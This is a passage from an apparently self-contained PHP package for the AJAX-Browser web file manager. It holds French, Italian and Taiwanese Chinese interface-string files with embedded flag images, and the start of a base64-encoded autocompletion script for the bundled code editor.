  'language_src_flag' => 'src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAGzSURBVHjaYiyeepkBBv79+Zfnx/f379+fP38CyT9//jAyMiq5GP77wvDnJ8MfoAIGBoAAYgGqC7STApL///3/9++/pCTv////Qdz/QO4/IMna0vf/z+9/v379//37bUUTQACBNDD8Z/j87fffvyAVX79+/Q8GQDbQeKA9fM+e/Pv18/+vnwzCIkBLAAKQOAY5AIAwCEv4/4PddNUm3ji0QJyxW3rgzE0iLfqDGr2oYuu0l54AYvnz5x9Q6d+/QPQfyAQqAin9B3EOyG1A1UDj//36zfjr1y8GBoAAFI9BDgAwCMIw+P8Ho3GDO6XQ0l4MN8b2kUwYaLszqgKM/KHcDXwBxAJUD3TJ779A8h9Q5D8SAHoARP36+Rfo41+/mcA2AAQQy49ff0Cu//MPpAeI/0FdA1QNYYNVA/3wmwEYVgwMAAHE8uPHH5BqoD1//gJJLADoJKDS378Z//wFhhJAALF8A3rizz8uTmYg788fJkj4QOKREQyYxSWBhjEC/fcXZANAALF8+/anbcHlHz9+ffvx58uPX9KckkCn/gby/wLd8uvHjx96k+cD1UGiGQgAAgwA7q17ZpsMdUQAAAAASUVORK5CYII="',

0 => 'Gestionnaire de fichier via http',
1 => 'Ouverture d´une session AJAX-Browser',
2 => 'Mode',
3 => 'Derniere connexion',
4 => 'Annuler',
5 => 'Login',
6 => 'Mot de passe',
7 => 'Deconnexion',
8 => 'Documentation',
9 => 'visite n°',
10 => 'OK',
11 => 'Nom d´utilisateur',
12 => 'arborescence',
13 => 'gallerie',
14 => 'recommandé',

15 => 'Nouveau',
16 => 'Couper',
17 => 'Copier',
18 => 'Coller',
19 => 'Renommer',
20 => 'Ren. une serie',
21 => 'Supprimer',
22 => 'Telecharger',
23 => 'Celui ci seulement',
24 => 'Upload',
25 => 'Ouvrir / Editer',
26 => 'Proprietés',
27 => 'Deplacer ici',
28 => 'Copier ici',
29 => 'Veuillez patienter, chargement en cours...',
30 => 'Signaler un bug et / ou faire une suggestion',
31 => 'Taille',
32 => 'Type',
33 => 'Date',
34 => 'Droits',
35 => ' tentatives, Vous etes blacklisté !',
36 => 'Decompresser ici',
37 => 'Contribuer ou financer.',
38 => 'Veuillez activer le Java Script pour utiliser AJAX-Browser',

// fichier ManageSuperGlobales.php
100 => 'Impossible de créer le fichier ´*.conf´ dans ´.AJAX-B´ veuillez verifier les droits',
101 => 'Aucun fichier de configuration n´a été trouvé',
102 => 'Veuillez definir un compte Administrateur :',
103 => 'Probleme de configuration des session dans PHP.ini, verifier que : session.use_cookies=1',

// fichier InitHTML.php
200 => 'Domaine vu sous AJAX-Browser',
201 => 'Nouveau dossier ou fichier',
202 => 'Renommer cet element, la selection ou les contenus...',
203 => 'Supprimer toute la selection',
204 => 'Forcer le Telechargement',
205 => 'Telechargement de la selection au format ',
206 => 'Deposer des fichiers vers ce repertoire.',
207 => 'Contacter l´administrateur du Browser',
208 => 'Filtre le contenu visible selon le masque.',
209 => 'Extraire le lien vers ce dossier',
210 => 'Configurer AJAX-Browser',
211 => 'Gestion des comptes Utilisateurs',
212 => 'Gestion de mon profil Utilisateur',
213 => 'A Propos de : AJAX-Browser',
214 =>'Gestion des comptes',

// fichier ExplorerTools.php
// fichier ArchiveTools.php

// fichier SessionTools.php
300 => 'Impossible d´accéder et de créer le repertoire de SESSIONS',
301 => 'Site officiel d´AJAX-Browser',

// fichier Command.php
402 => 'Pas de nouvelle version !',
403 => 'Miroir injoignable !',

// fichier Setting.php
500 => 'Double Click pour choisir le dossier ouvert',
501 => 'AJAX-Browser Version',
502 => 'E-mail de(s) l´Administrateur(s).',
503 => 'Separer par des virgules.',
504 => 'Serveur de mise a jour.',
505 => 'Vide => pas de mise a jour !',
506 => 'Désolée, miroir injoignable :-(',
507 => 'Pas de mise à jour disponible,vous avez déjà la dernière version ;-)',
508 => 'Mise à jour disponible',
509 => 'Fichier consideré comme très peu sensible',
510 => 'Fichier consideré comme sensible',
511 => 'Fichier ouvrable en ligne avec CodePress',
512 => 'Dossier pour les fichiers espions',
513 => 'Enregistrement des fichiers.SPY',
514 => 'Les IP.',
515 => 'Les connexions.',
516 => 'Les actions.',
517 => 'Les dossiers parcourus',
518 => 'A utiliser avec moderation (lourd)',
519 => 'Voir la legislation en vigueur',
520 => 'Dossier pour les miniatures',
521 => 'Intervale de chargement des miniatures',
522 => 'Réseau local 100Mb/sec, 6000 img/min.',
523 => 'Bon serveur et bonne connexion, 600 img/min.',
524 => 'Serveur, connexion et images normaux, 240 img/min (recommandé)',
525 => 'Serveur lent ou grosse image, 120 img/min.',
526 => 'Serveur très lent ou image énorme, 40 img/min.',
527 => 'Effacer les anciennes miniature.',
528 => 'BlackListe.',

// fichier Account.php
601 => 'Modifier ce compte',
602 => 'Supprimer ce compte',
603 => 'Ajouter un Utilisateur',
604 => 'E-mail de l´utilisateur.',
605 => 'Changer ce code',
606 => 'Spécifier un nouveau code',
607 => 'Choisissez un nouveau mot de passe !',
608 => 'Pas de changement !',
609 => 'Vous pouvez le changer en cochant la case de droite',
610 => 'Configuration d´accés.',
611 => 'Dossier par défaut à l´ouverture',
612 => 'Parcourir les dossiers parents !',
613 => 'Mode d´affichage par défaut',
614 => 'Taille des miniatures en mode gallerie',
615 => 'Petite',
616 => 'Moyenne',
617 => 'Grande',
618 => 'Enorme',
619 => 'Gigantesque',
620 => 'Droits sur le domaine.',
621 => 'Créer des éléments',
622 => 'Sera autorisé à créer des fichiers ou des dossiers',
623 => 'Renommer les éléments',
624 => 'Sera autorisé à renommer des fichiers ou des dossiers',
625 => 'Supprimer des éléments',
626 => 'Sera autorisé à supprimer des fichiers ou des dossiers',
627 => 'Voir les éléments cachés',
628 => 'Sera autorisé à voir les fichiers cachés (commençant par un ´.´)',
629 => 'Copier des éléments',
630 => 'Sera autorisé à Copier des fichiers ou des dossiers',
631 => 'Déplacer des éléments',
632 => 'Sera autorisé à Deplacer des fichiers ou des dossiers',
633 => 'Utilisation de CodePress.',
634 => 'Visu CodePress',
635 => 'Edition CodePress',
636 => 'Ceci est valable pour les masques définis par l´ADMIN :',
637 => 'Transfert de données.',
638 => 'Peut Télécharger tout ce qui lui est accéssible !',
639 => 'Upload de fichier par AJAX-Browser',
640 => 'Aucun (meme pas d´images...)',
641 => 'Seulement les fichiers',
642 => 'Tout sauf',
643 => 'Tout, sans aucune restriction (admin)!',
644 => 'Config Globale d´administration.',
645 => 'Configuration générale d´AJAX-Browser',
646 => 'Configuration de tous les comptes utilisateur',
647 => 'Détail des connexions',
648 => 'Obtenir d´autres langue',
649 => 'Demander d´autres langue a l´admin',
650 => 'Décompresser des éléments',
651 => 'Sera autorisé à Decompresser les elements ZIP, TAR, GZIP, BZIP2',
652 => 'Retirer de la BlackListe',
653 => 'Specifier un nouveau nom d utilisateur :',

// fichier ArborescenceAddon.php
// fichier Arborescence.php
// fichier GallerieAddon.php
// fichier Gallerie.php
'getFF' => 'Télécharger Mozilla Firefox, afin de profiter pleinement de AJAX-Browser',

// fichier Contact.php
701 => 'Votre message a été envoyé :',
702 => 'Un problème s´est produit lors de l´envoi du message.',
703 => 'Ressayez...',
704 => 'Votre adresse e-mail (obligatoire)',
705 => 'Titre de message (obligatoire):',
706 => 'Message (obligatoire):',

// fichier ManageUpload.php
801 => 'Une erreur s´est produite sur ',
802 => 'Verifier les droits d´écriture de ',
803 => 'Ce type de fichier ne vous est pas autorisé à l´upload.',
804 => 'Erreur, fichier non reçu',
805 => 'Aucun fichier uploadé',

// fichiers *.JS
900 => 'Erreur serveur !',
906 => 'Votre navigateur n´est pas supporté',
907 => 'Vos configurations anti PopUp ne permettent pas d´ouvrir cette fenêtre.',
908 => 'Spécifiez un nom pour ce nouvel élément',
909 => 'terminez par un / pour créer un dossier',
910 => 'Spécifiez un nouveau nom pour la selection.',
911 => 'Pour une sélection multiple vous pouvez utliser ces caractères génériques',
912 => 'nom actuel',
913 => 'dossier',
914 => 'compteur',
915 => 'sans extention',
916 => 'exemple si vous entrez',
917 => 'Etes vous certain de vouloir supprimer définitivement les éléments selectionnés?',
918 => 'Ajouter un autre fichier',
);?>',
  './AJAX-B/Language it.php' => '<?php
$ABS = array( // Ajax Browser Sentences
'language_in_English' => 'Italian',
'language_in_Language' => 'Italiano',
'language_abbreviation' => 'it',
'language_translator' => 'karlessi',
'language_version' => '0.2.2',
'language_src_flag' => 'src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAE2SURBVHjaYmSYyMDwgwEE/jEw/GF4mvT0HyqQUlX9B5aEIIAAYmH4wlDtWg1SDwT//0lKSv7/D+T9/w+nYmL+//79/88fIPll0yaAAGJhYAGJP/n69O+/v0CAUAcHt2////ULqJpRVhZoA0AAsQCtAZoMVP0HiP7+RlcNBEDVYA0Mv38DNQAEEMj8vwx//wCt/AdC/zEBkgagYoAAYgF6FGj277+///wlpAEoz8AAEEAgDX/BZv/69wuoB48GRrCTAAKICajh9//fv/6CVP/++wu7BrDxQFf/YWAACCCwk0BKf0MQdg1/gBqAPv0L9ANAALEAY+33vz+S3JIgb/z5C45CBkZGRgY4UFICKQUjoJMAAoiRoZSB4RMojkHx/YPhbNVZoM3AOISQQPUK9vaQOIYAgAADAC5Wd4RRwnKfAAAAAElFTkSuQmCC"',

	0 => 'HTTP File Manager',		// HTTP File Manager
	1 => 'Entra in AJAX-Browser',		// Log in to AJAX-Browser
	2 => 'Modalità',		// Mode
	3 => 'Ultimo login',		// Last login
	4 => 'Annulla',		// Cancel
	5 => 'Login',		// Login
	6 => 'Password',		// Password
	7 => 'Esci',		// Sign out
	8 => 'Aiuto',		// Help
	9 => 'Vai',		// Visit
	10 => 'OK',		// OK
	11 => 'Username',		// Username
	12 => 'Vista albero',		// Tree view
	13 => 'Galleria',		// Gallery
	14 => 'Raccomandato',		// Recommended
	15 => 'Nuovo',		// New
	16 => 'Taglia',		// Cut
	17 => 'Copia',		// Copy
	18 => 'Incolla',		// Paste
	19 => 'Rinomina',		// Rename
	20 => 'Rinomina multiplo',		// Multi rename
	21 => 'Cancella',		// Delete
	22 => 'Scarica',		// Download
	23 => 'Solo questo file',		// This file only
	24 => 'Carica',		// Upload
	25 => 'Apri/Modifica',		// Open / Edit
	26 => 'Proprietà',		// Properties
	27 => 'Sposta qui',		// Move here
	28 => 'Copia qui',		// Copy here
	29 => 'Un momento, sto caricando',		// Please wait, loading...
	30 => 'Segnala un bug e/o invia un commento',		// Report a bug and/or send a comment
	31 => 'Dimensione',		// Size
	32 => 'Tipologia',		// Type
	33 => 'Data',		// Date
	34 => 'Permessi',		// Rights
	35 => 'troppi tentativi, sei nella Blacklist!',		// trials, You are Blacklisted !
	36 => 'Decomprimi qui',		// Uncompress here',
37 => '', // 'Contribuer aux ameliorations.',
38 => '', // 'Please active Java Script to use AJAX-Browser',

// fichier ManageSuperGlobales.php
	100 => 'non posso creare il file ´*.conf´ in "AJAX-B", controllare i permessi',		// Cannot create file ´AJAX-Array.var´ in ´AJAX-B´, please check access rights
	101 => 'File di impostazione non trovato',		// Setting file not found
	102 => 'Crea un account di amministrazione',		// Please create an admin account:
	103 => 'Problema di configurazione delle sessesioni in PHP.ini, verificare che: session.use_cookies=1',		// ?',		// Probleme de configuration des session dans PHP.ini, verifier que : session.use_cookies=1',

// fichier InitHTML.php
	200 => 'Sito realizzato con AJAX-Browser',		// Website powered by AJAX-Browser application
	201 => 'Nuovo file o cartella',		// New file or folder
	202 => 'Rinomina questo elemento, seleziona o contenuti',		// Rename this item, selection or contents...
	203 => 'Cancella la selezione',		// Delete selection
	204 => 'Forza il download',		// Force download
	205 => 'Download la selezione da formattare',		// Download selection to format
	206 => 'Upload i files in questa cartella',		// Upload files to this folder
	207 => 'Contatta l´amministratore del sito',		// Contact Browser Admin
	208 => 'Applica una maschera ai contenuti visibili',		// Apply mask to visible contents
	209 => 'Crea un link a questa cartella',		// Send link to this folder
	210 => 'Impostazioni dell´AJAX-Browser',		// AJAX-Browser settings
	211 => 'Gestione dell´account utente',		// User Accounts management
	212 => 'Gestione del mio profilo utente',		// My User Profile management
	213 => 'About: AJAX-Browser',		// About : AJAX-Browser
	214 => 'Gestione degli account',		// Manage accounts',

// fichier ExplorerTools.php
// fichier ArchiveTools.php
// fichier SessionTools.php
	300 => 'Non puoi accedere e creare la directory SESSIONS',		// Cannot access and create the SESSIONS directory
	301 => 'Sito ufficiale AJAX-Browser',		// AJAX-Browser official website',

// fichier Command.php
	402 => 'Nessun aggiornamento disponibile!',		// No update available!
	403 => 'Mirror irraggiungibile!',		// Mirror unreachable!',

// fichier Setting.php
	500 => 'Doppio click per aprire la cartella',		// Double-click to open folder
	501 => 'Versione AJAX-Browser',		// AJAX-Browser Version
	502 => 'Indirizzo email del/degli Amministratore/i',		// Admin(s) email address.
	503 => 'Separare con virgole',		// Separate with commas
	504 => 'Aggiorna il mirror',		// Update Mirror.
	505 => 'Vuoto => nessun aggiornamento!',		// Empty => no update !
	506 => 'Spiacente, mirror irraggiungibile :-(',		// Sorry, mirror unreachable :-(
	507 => 'Nessun aggiornamento disponibile, hai già installato la versione più recente',		// No update available, you already have the latest version installed ;-)
	508 => 'Aggiornamento disponibile',		// Update available
	509 => 'Files non essenziali',		// Files considered non sensitive
	510 => 'Files essenziali',		// Files considered sensitive
	511 => 'File da aprire online con CodePress',		// File to be opened online with CodePress
	512 => 'Cartella per i files *.spy',		// Folder for *.spy files
	513 => 'Sto salvando i files SPY',		// Saving SPY files
	514 => 'IP.',		// IP.
	515 => 'Logins.',		// Logins.
	516 => 'Comandi.',		// Actions.
	517 => 'Leggi le cartelle',		// Read folders
	518 => 'Attenzione: usare con cautela',		// Warning: use with caution
	519 => 'Vedere leggi relative',		// See applicable law
	520 => 'Cartella thumbnail',		// Folder thumbnail
	521 => 'Sto caricando prima le thumbnail',		// Thumbnail loading lead time
	522 => 'Network 100Mb/sec, 6000 foto/min.',		// Network 100Mb/sec, 6000 pics/min.
	523 => 'Buon server e connessione, 600 foto/min.',		// Good server and connection, 600 pics/min.
	524 => 'Server e connessione normale, 240 foto/min.',		// Normal server, connection and pictures, 240 pics/min (recommended)
	525 => 'Server lento o foto pesante, 120 foto/min.',		// Slow serveur or big picture, 120 pics/min.
	526 => 'Server molto lento o foto enorme, 40 foto/min.',		// Very slow server or huge picture, 40 pics/min.
	527 => 'Cancella le vecchie thumbnails',		// Erase the old thumbnails.
	528 => 'BlackList.',		// BlackList.',

// fichier Account.php
	601 => 'Modifica questo account',		// Change this account
	602 => 'Cancella questo account',		// Delete this account
	603 => 'Aggiungi un utente',		// Add a user
	604 => 'Indirizzo email dell´utente',		// User email address.
	605 => 'Cambia password',		// Change password
	606 => 'Imposta una nuova password',		// Set a new password
	607 => 'Seleziona una nuova password',		// Select a new password !
	608 => 'Nessuna modifica!',		// No change !
	609 => 'Puoi modificare cliccando la finestra sulla destra',		// You may change it by ticking the box on the right
	610 => 'Impostazioni d´accesso',		// Access settings
	611 => 'Cartella di default all´avvio',		// Default folder on startup
	612 => 'Esplora le sottocartelle!',		// Browse parent folders!
	613 => 'Modalità di visualizzazione di default',		// Default display mode
	614 => 'Modalità Gallery dimensione Thumbnail',		// Thumbnail size in Gallery mode
	615 => 'Piccolo',		// Small
	616 => 'Medio',		// Medium
	617 => 'Grande',		// Big
	618 => 'Enorme',		// Huge
	619 => 'Svuotamento massiccio',		// Bleeding massive
	620 => 'Permessi sul dominio',		// Rights on the domain
	621 => 'Crea elementi',		// Create items
	622 => 'Sarà consentito creare files o cartelle',		// Will be allowed to create files or folders
	623 => 'Rinomina gli elementi',		// Rename items
	624 => 'Sarà consentito rinominare files o cartelle',		// Will be allowed to rename files or folders
	625 => 'Cancella elementi',		// Delete items
	626 => 'Sarà consentito cancellare files o cartelle',		// Will be allowed to delete files or folders
	627 => 'Vedi files nascosti',		// See hidden files
	628 => 'Sarà consentito vedere files nascosti (iniziano con ´.´)',		// Will be allowed to see hidden files (starting with ´.´)
	629 => 'Copia elementi',		// Copy items
	630 => 'Sarà consentito copiare files o cartelle',		// Will be authorized to copy files or folders
	631 => 'Sposta elementi',		// Move items
	632 => 'Sarà consentito spostare files o cartelle',		// Will be authorized to move files or folders
	633 => 'Usa CodePress',		// Use CodePress.
	634 => 'Vista CodePress',		// CodePress view
	635 => 'Edita in CodePress',		// CodePress edition
	636 => 'Applica alle maschere definite dall´Admin',		// This applies to masks defined by the Admin
	637 => 'Trasferimento dati',		// Data transfer
	638 => 'Puoi scaricare tutto ciò che è accessibile',		// Can download anything accessible
	639 => 'Carica file con AJAX-Browser',		// Upload file with AJAX-Browser
	640 => 'Niente (nemmeno una foto...)',		// None (not even a picture...)
	641 => 'Solo files',		// Files only
	642 => 'Tutto ma',		// Everything but
	643 => 'Tutto senza restrizioni (admin)',		// Everything, with no restriction (admin)!
	644 => 'Impostazioni di gestione globale',		// Global Management settings
	645 => 'Impostazioni generali di AJAX-Browser',		// AJAX-Browser general settings
	646 => 'Setup di tutti gli account utenti',		// Setup all user accounts
	647 => 'Dettagli di connessione',		// Connection details
	648 => 'Più lingue',		// Get more languages
	649 => 'Richieste più lingue',		// Request more languages
	650 => 'Decomprimi questi elementi',		// Uncompress items
	651 => 'Sarà consentito decomprimere ZIP, TAR, GZIP, BZIP2',		// Will be allowed to decompress ZIP, TAR, GZIP, BZIP2
	652 => 'Rimuovi dalla BlackList',		// Remove from BlackList
	653 => 'Setup nuovo nome utente',		// Setup new username :',

// fichier ArborescenceAddon.php // fichier Arborescence.php // fichier GallerieAddon.php // fichier Gallerie.php
'getFF' => '',		// Download Mozilla Firefox and get the best from AJAX-Browser',

// fichier Contact.php
	701 => 'Il tuo messaggio è stato inviato',		// Your message was sent:
	702 => 'C´è stato un problema durante l´invio del messaggio',		// A problem occured while sending the message
	703 => 'Prova ancora...',		// Try again...
	704 => 'Il tuo indirizzo email (obbligatorio)',		// Your e-mail address (required)
	705 => 'Oggetto del messaggio (obbligatorio)',		// Message subject (required):
	706 => 'Messaggio (obbligatorio)',		// Message (required):',

// fichier ManageUpload.php
	801 => 'Errore in',		// An error occured on 
	802 => 'Verifica i permessi di scrittura su',		// Check write access rights on 
	803 => 'Non sei abilitato a carica questo tipo di file',		// You are not allowed to upload this type of file
	804 => 'Errore, file non ricevuto',		// Error, file not received
	805 => 'Nessun file caricato',		// No file uploaded',

// fichiers *.JS
	900 => 'Errore del server!',		// Server error!
	906 => 'Il tuo browser non è supportato',		// Your browser is not supported
	907 => 'Il tuo blocco pop-up impedisce di aprire questa finestra',		// Your pop-up blocking does not allow to open this window
	908 => 'Inserisci un nome per questo nuovo elemento',		// Please enter a name for this new item
	909 => 'Termina con a/ per creare una nuova cartella',		// End with a / to create a new folder
	910 => 'Inserisci un nuovo nome per questa selezione',		// Please enter a new name for the selection.
	911 => 'Puoi usare le wildcards per selezioni multiple',		// You can use wildcards for multiple selection
	912 => 'nome attuale',		// current name
	913 => 'cartella',		// folder
	914 => 'contatore',		// counter
	915 => 'nessuna estensione',		// no extention
	916 => 'esempio',		// example: 
	917 => 'Vuoi davvero cancellare definitivamente gli elementi selezionati?',		// Do you really want to permanently delete the selected items?
	918 => 'Aggiungi un altro file',		// Add another file
);?>',
  './AJAX-B/Language tw.php' => '<?php
$ABS = array (
  0 => 'HTTP File Manager',
  'getFF' => 'Download Mowilla Firefox and get the best from AJAX-Browser',
  'language_abbreviation' => 'tw',
  'language_in_English' => 'Chinese twaiwan',
  'language_in_Language' => '中文',
  'language_src_flag' => 'src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAFjSURBVHjaYmRQ38wAB3/+gdCvfww//jx8Hy7BwPAPAwEEEAtQWUutDpA0EmZnZmI68vTL338Mf//+FbhQwPznK9Pv3////PkPI79s2gQQQCwQo0W+/nMOFWdlZXww+8vhN9///Pn3596Df78//f/1+//vX/9//QKqZpSVBdoAEEAsQGv+/fv3+9dfBgag4L/v3//8/vsPqAGqFKT6N0QDA1CagQEggFgY/vz5+5fhwo/fNXPu/fn379nHn3/+/vsNNAPJbLgGoFsAAoiF4RdQ2b+/f/4+f/cHaPDvv/+BHgAy2H9/QaiGaACKMjAABBDL36ehDJfy/z94ADSP4TfYf0jOQCYZwU4CCCAWIGYECwENQFGEqhokC3QBAwNAAIE0MIODjAGuCFPbH6CGv8DABvoBIIBAGph+/2GQlAQb85fhD0gnI9hIBggJRH//QhBQMUAAMX5FjUgGbLELlwICgAADAElTZuDmjaewAAAAAElFTkSuQmCC"',
  'language_translator' => 'Yug',
  'language_version' => '0.1.2',
  1 => 'Log in to AJAX-Browser',
  2 => '模式',
  3 => '上次登入',
  4 => '取消',
  5 => '登入',
  6 => '密碼',
  7 => '登出',
  8 => '說明',
  9 => '參觀',
  10 => 'OK',
  11 => '使用者名稱',
  12 => '樹狀模式顯示',
  13 => '圖示',
  14 => '建議',
  15 => '新增',
  16 => '剪下',
  17 => '複製',
  18 => '貼上',
  19 => '重新命名',
  20 => '多檔案重新命名',
  21 => '刪除',
  22 => '下載',
  23 => '只限定此檔案',
  24 => '上傳',
  25 => '開啟 / 編輯',
  26 => '屬性',
  27 => '移動到這裡',
  28 => '複製到這裡',
  29 => '下載中....,請等待',
  30 => '回報錯誤並給予意見',
  31 => '大小',
  32 => '類型',
  33 => '日期',
  34 => '權限',
  35 => ' 密碼錯誤, 你無權使用 !',
  36 => '解壓縮至此',
  37 => '如果你覺得不錯用，可以贊助鼓勵我繼續開發',
38 => '', // 'Please active Java Script to use AJAX-Browser',
  100 => '不能在"AJAX-B"中開啟"*.conf" ,請重新檢視使用者權限',
  101 => '無法找到設定檔',
  102 => '請建立一個 "admin" 帳號:',
  103 => '？',
  200 => 'Website powered by AJAX-Browser application',
  201 => '新檔案 / 資料夾',
  202 => '為此內容或選取區重新命名...',
  203 => '刪除選取區',
  204 => '強迫下載',
  205 => '依照預設格式下載',
  206 => '上傳檔案到此資料夾',
  207 => '聯絡 "Admin "使用人',
  208 => 'Apply mask to visible contents',
  209 => '為此資料夾建立捷徑',
  210 => 'AJAX-Browser 設定值',
  211 => '使用者帳號管理',
  212 => '個人資料管理',
  213 => '關於 : AJAX-Browser',
  214 => '管理帳號',
  300 => '無法存取與建立 SESSIONS 資料夾',
  301 => 'AJAX-Browser 官方網頁',
  402 => '無法進行更新!',
  403 => '找不到鏡像網站(Mirror)',
  500 => '點兩下去開啟資料夾',
  501 => 'AJAX-Browser 版本',
  502 => 'Admin(s) 郵件地址.',
  503 => '使用"，"分開',
  504 => '從鏡像網站(Mirror).',
  505 => '更新失敗 !',
  506 => '無法找到鏡像網站(Mirror)',
  507 => '無需更新, 你已經使用最新版本了',
  508 => '可正常更新',
  509 => '檔案是不重要的',
  510 => '檔案是重要的',
  511 => '使用 CodePress 開啟檔案 ', 
  512 => 'Folder for *.spy files',
  513 => 'Saving SPY files',
  514 => 'IP.',
  515 => '登入者清單',
  516 => '登入者動作清單',
  517 => '登入者使用資料清單',
  518 => '警告:小心使用 ',
  519 => 'See applicable law',
  520 => '資料夾縮圖顯示',
  521 => 'Thumbnail loading lead time',
  522 => 'Network 100Mb/sec, 6000 pics/min.',
  523 => '連線良好：600 pics/min.',
  524 => '連線正常：240 pics/min (recommended)',
  525 => '連線較慢：120 pics/min.',
  526 => '連線緩慢：40 pics/min.',
  527 => '刪除舊縮圖',
  528 => '黑名單',
  601 => '改變帳戶類型',
  602 => '刪除此帳戶',
  603 => '新增一個使用者',
  604 => '使用者郵件地址.',
  605 => '變更密碼',
  606 => '建立新密碼',
  607 => 'Select a new password !',
  608 => '不作任何改變',
  609 => '你可以藉由右側按鈕更改',
  610 => '存取設定值',
  611 => '起始預設資料夾',
  612 => '瀏覽目前資料夾',
  613 => '預設顯示模式',
  614 => '圖示模式下縮圖大小',
  615 => '最小',
  616 => '小',
  617 => '適中',
  618 => '大',
  619 => '非常大',
  620 => 'Rights on the domain',
  621 => 'Create items',
  622 => 'Will be allowed to create files or folders',
  623 => 'Rename items',
  624 => 'Will be allowed to rename files or folders',
  625 => 'Delete items',
  626 => 'Will be allowed to delete files or folders',
  627 => '檢視隱藏檔案',
  628 => 'Will be allowed  to see hidden files (starting with 織.織)',
  629 => 'Copy items',
  630 => 'Will be authorized to copy files or folders',
  631 => 'Move items',
  632 => 'Will be authorized to move files or folders',
  633 => 'Use CodePress.',
  634 => 'CodePress view',
  635 => 'CodePress edition',
  636 => 'This applies to masks defined by the Admin',
  637 => 'Data transfer',
  638 => 'Can download anything accessible',
  639 => 'Upload file with AJAX-Browser',
  640 => 'None (not even a picture...)',
  641 => 'Files only',
  642 => 'Everything but',
  643 => 'Everything, with no restriction (admin)!',
  644 => 'Global Management settings',
  645 => 'AJAX-Browser general settings',
  646 => 'Setup all user accounts',
  647 => 'Connection details',
  648 => 'Get more languages',
  649 => 'Request more languages',
  650 => 'Uncompress items',
  651 => 'Will be allowed to decompress ZIP, TAR, GZIP, BZIP2',
  652 => 'Remove from BlackList',
  653 => 'Setup new username :',
  701 => 'Your message was sent:',
  702 => 'A problem occured while sending the message',
  703 => 'Try again...',
  704 => 'Your e-mail address (required)',
  705 => 'Message subject  (required):',
  706 => 'Message (required):',
  801 => 'An error occured on ',
  802 => 'Check write access rights on ',
  803 => 'You are not allowed to upload this type of file',
  804 => 'Error, file not received',
  805 => 'No file uploaded',
  900 => 'Server error!',
  906 => 'Your browser is not supported',
  907 => 'Your pop-up blocking does not allow to open this window',
  908 => 'Please enter a name for this new item',
  909 => 'End with a / to create a new folder',
  910 => 'Please enter a new name for the selection.',
  911 => 'You can use wildcards for multiple selection',
  912 => 'current name',
  913 => 'folder',
  914 => 'counter',
  915 => 'no extention',
  916 => 'example: ',
  917 => 'Do you really want to permanently delete the selected items?',
  918 => 'Add another file',
);?>
',
  './AJAX-B/edit_area/autocompletion.js' => 'LyoqDQogKiBBdXRvY29tcGxldGlvbiBjbGFzcw0KICogDQogKiBBbiBhdXRvIGNvbXBsZXRpb24gYm94IGFwcGVhciB3aGlsZSB5b3UncmUgd3JpdGluZy4gSXQncyBwb3NzaWJsZSB0byBmb3JjZSBpdCB0byBhcHBlYXIgd2l0aCBDdHJsK1NwYWNlIHNob3J0IGN1dA0KICogDQogKiBMb2FkZWQgYXMgYSBwbHVnaW4gaW5zaWRlIGVkaXRBcmVhIChldmVyeXRoaW5nIG1hZGUgaGVyZSBjb3VsZCBoYXZlIGJlZW4gbWFkZSBpbiB0aGUgcGx1Z2luIGRpcmVjdG9yeSkNCiAqIEJ1dCBpcyBkZWZpbml0bHkgbGlua2VkIHRvIHN5bnRheCBzZWxlY3Rpb24gKG5vIG5lZWQgdG8gZG8gMiBkaWZmZXJlbnQgZmlsZXMgZm9yIGNvbG9yIGFuZCBhdXRvIGNvbXBsZXRlIGZvciBlYWNoIHN5bnRheCBsYW5ndWFnZSkNCiAqIGFuZCBhZGQgYSB0b28gaW1wb3J0YW50IGZlYXR1cmUgdGhhdCBtYW55IHBlb3BsZSB3b3VsZCBtaXNzIGlmIGluY2x1ZGVkIGFzIGEgcGx1Z2luDQogKiANCiAqIC0gaW5pdCBwYXJhbTogYXV0b2NvbXBsZXRpb25fc3RhcnQNCiAqIC0gQnV0dG9uIG5hbWU6ICJhdXRvY29tcGxldGlvbiINCiAqLyAgDQoNCnZhciBFZGl0QXJlYV9hdXRvY29tcGxldGlvbj0gew0KCQ0KCS8qKg0KCSAqIEdldCBjYWxsZWQgb25jZSB0aGlzIGZpbGUgaXMgbG9hZGVkIChlZGl0QXJlYSBzdGlsbCBub3QgaW5pdGlhbGl6ZWQpDQoJICoNCgkgKiBAcmV0dXJuIG5vdGhpbmcJIA0KCSAqLwkgCSAJDQoJaW5pdDogZnVuY3Rpb24oKXsJDQoJCS8vCWFsZXJ0KCJ0ZXN0IGluaXQ6ICIrIHRoaXMuX3NvbWVJbnRlcm5hbEZ1bmN0aW9uKDIsIDMpKTsNCgkJDQoJCWlmKGVkaXRBcmVhLnNldHRpbmdzWyJhdXRvY29tcGxldGlvbiJdKQ0KCQkJdGhpcy5lbmFibGVkPSB0cnVlOw0KCQllbHNlDQoJCQl0aGlzLmVuYWJsZWQ9IGZhbHNlOw0KCQl0aGlzLmN1cnJlbnRfd29yZAkJPSBmYWxzZTsNCgkJdGhpcy5zaG93bgkJCQk9IGZhbHNlOw0KCQl0aGlzLnNlbGVjdEluZGV4CQk9IC0xOw0KCQl0aGlzLmZvcmNlRGlzcGxheQkJPSBmYWxzZTsNCgkJdGhpcy5pc0luTWlkZGxlV29yZAkJPSBmYWxzZTsNCgkJdGhpcy5hdXRvU2VsZWN0SWZPbmVSZXN1bHQJPSBmYWxzZTsNCgkJdGhpcy5kZWxheUJlZm9yZURpc3BsYXkJPSAxMDA7DQoJCXRoaXMuY2hlY2tEZWxheVRpbWVyCT0gZmFsc2U7DQoJCXRoaXMuY3Vycl9zeW50YXhfc3RyCT0gJyc7DQoJCQ0KCQl0aGlzLmZpbGVfc3ludGF4X2RhdGFzCT0ge307DQoJfQ0KCS8qKg0KCSAqIFJldHVybnMgdGhlIEhUTUwgY29kZSBmb3IgYSBzcGVjaWZpYyBjb250cm9sIHN0cmluZyBvciBmYWxzZSBpZiB0aGlzIHBsdWdpbiBkb2